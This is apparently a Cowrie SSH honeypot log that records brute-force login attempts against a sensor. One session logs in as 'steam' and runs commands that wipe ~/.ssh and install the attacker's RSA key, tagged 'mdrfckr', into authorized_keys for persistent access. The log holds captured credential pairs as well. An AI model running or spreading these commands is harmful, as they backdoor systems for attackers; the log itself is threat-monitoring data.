{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:52.569181Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:52.737961Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:53.445026Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:53.826610Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:53.830008Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:53.833736Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:54.170695Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:54.382496Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:54.385729Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:54.557798Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:54.561268Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":40546,"dst_ip":"159.203.135.109","dst_port":22,"session":"510a060e5a08","protocol":"ssh","message":"New connection: 190.129.122.185:40546 (159.203.135.109:22) [session: 510a060e5a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:54.715289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:54.720248Z","src_ip":"190.129.122.185","session":"510a060e5a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:54.882282Z","src_ip":"190.129.122.185","session":"510a060e5a08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:55.562814Z","src_ip":"190.129.122.185","session":"510a060e5a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:56.729598Z","src_ip":"190.129.122.185","session":"510a060e5a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":40550,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f9bc94950a6","protocol":"ssh","message":"New connection: 190.129.122.185:40550 (159.203.135.109:22) [session: 7f9bc94950a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:56.892231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:56.900003Z","src_ip":"190.129.122.185","session":"7f9bc94950a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:57.066320Z","src_ip":"190.129.122.185","session":"7f9bc94950a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:57.756096Z","src_ip":"190.129.122.185","session":"7f9bc94950a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:57.922240Z","src_ip":"190.129.122.185","session":"0e91a286be36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:47:57.926708Z","src_ip":"190.129.122.185","session":"7f9bc94950a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":38706,"dst_ip":"159.203.135.109","dst_port":22,"session":"bce96622822d","protocol":"ssh","message":"New connection: 203.161.39.233:38706 (159.203.135.109:22) [session: bce96622822d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:45.526831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:45.532556Z","src_ip":"203.161.39.233","session":"bce96622822d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:45.602536Z","src_ip":"203.161.39.233","session":"bce96622822d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rooted","message":"login attempt [root/rooted] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:45.914592Z","src_ip":"203.161.39.233","session":"bce96622822d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:46.988278Z","src_ip":"203.161.39.233","session":"bce96622822d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":58076,"dst_ip":"10.17.0.5","dst_port":22,"session":"21cd608cb0d8","protocol":"ssh","message":"New connection: 109.237.96.109:58076 (10.17.0.5:22) [session: 21cd608cb0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:54.246081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:54.254189Z","src_ip":"109.237.96.109","session":"21cd608cb0d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:54.343918Z","src_ip":"109.237.96.109","session":"21cd608cb0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"frankie","message":"login attempt [root/frankie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:54.613741Z","src_ip":"109.237.96.109","session":"21cd608cb0d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:48:55.707114Z","src_ip":"109.237.96.109","session":"21cd608cb0d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.16","src_port":50020,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b4672f14d61","protocol":"ssh","message":"New connection: 89.45.12.16:50020 (10.17.0.5:22) [session: 3b4672f14d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:00.882469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:00.887330Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:01.011665Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:10:24:6b:61:30:d8:23:53:65:54:a8:ad:69:c9:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEQfGICme7xUQELP5UUMSB/+UnMvzg3jktDZHniAPi8AonpWuF1tPJ+/cMjegZ/iok09SwAxTAw57dh7YGynt0wMr/CgeO8nXJ5BSI1duULjkzdOlH09i45BR4VlAGvWbTaSS/J5mdOoXJeG6m45JISc4DX6cezleCkhhIfIlWGEY2x60bl53WY8eHS8ea9+19pTYyXxGgLwVh300lERYmpCSTqi/wSOPWnBfcADPrZ7xQMxV1X7O4Efb+vNdjoN1/WVpjcxOsbJRm+SL+4s1FE2qOS/R+zC72+aSi00u07yCWNhChAcPaEdRT6sBzDjJ6yBeOWECeYePXQ0EuWOoT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:10:24:6b:61:30:d8:23:53:65:54:a8:ad:69:c9:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:01.592103Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:10:24:6b:61:30:d8:23:53:65:54:a8:ad:69:c9:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEQfGICme7xUQELP5UUMSB/+UnMvzg3jktDZHniAPi8AonpWuF1tPJ+/cMjegZ/iok09SwAxTAw57dh7YGynt0wMr/CgeO8nXJ5BSI1duULjkzdOlH09i45BR4VlAGvWbTaSS/J5mdOoXJeG6m45JISc4DX6cezleCkhhIfIlWGEY2x60bl53WY8eHS8ea9+19pTYyXxGgLwVh300lERYmpCSTqi/wSOPWnBfcADPrZ7xQMxV1X7O4Efb+vNdjoN1/WVpjcxOsbJRm+SL+4s1FE2qOS/R+zC72+aSi00u07yCWNhChAcPaEdRT6sBzDjJ6yBeOWECeYePXQ0EuWOoT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:01.596580Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:b3:d1:ec:14:62:11:40:c0:70:74:f3:6c:10:fc:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQWzoX6bevN9kMRh7TXLnUbi3Ebiz/W3Ju59oDTLrvMd8f8b2ebvzG0UbpbwxVN+J84foYnllzYDWYiD1eO4D+QULkybedd/3P2oeC78B11u8GqJbkccC1afP9T5mrS9RD6UWt/VQCUZWHO123OjMI4Yp/rL3CMIQHJUYblzbrJbMcPFdptEDLI/cVWYv0jx0VPvOWYq5C13lINIxjRwAbM8ETVfM0lRfaGN1nAfZKjNH4Fc8f6D8a12zBPXWwPcNUm7QwiI4oIVpMK4cPGUgFm9ZiLqz58T9hcwQLMj4LNO1o1QLjo1Oqq2QOKZtC077ibnon6F6VzOGkTS8+P1LX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:b3:d1:ec:14:62:11:40:c0:70:74:f3:6c:10:fc:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:01.723802Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
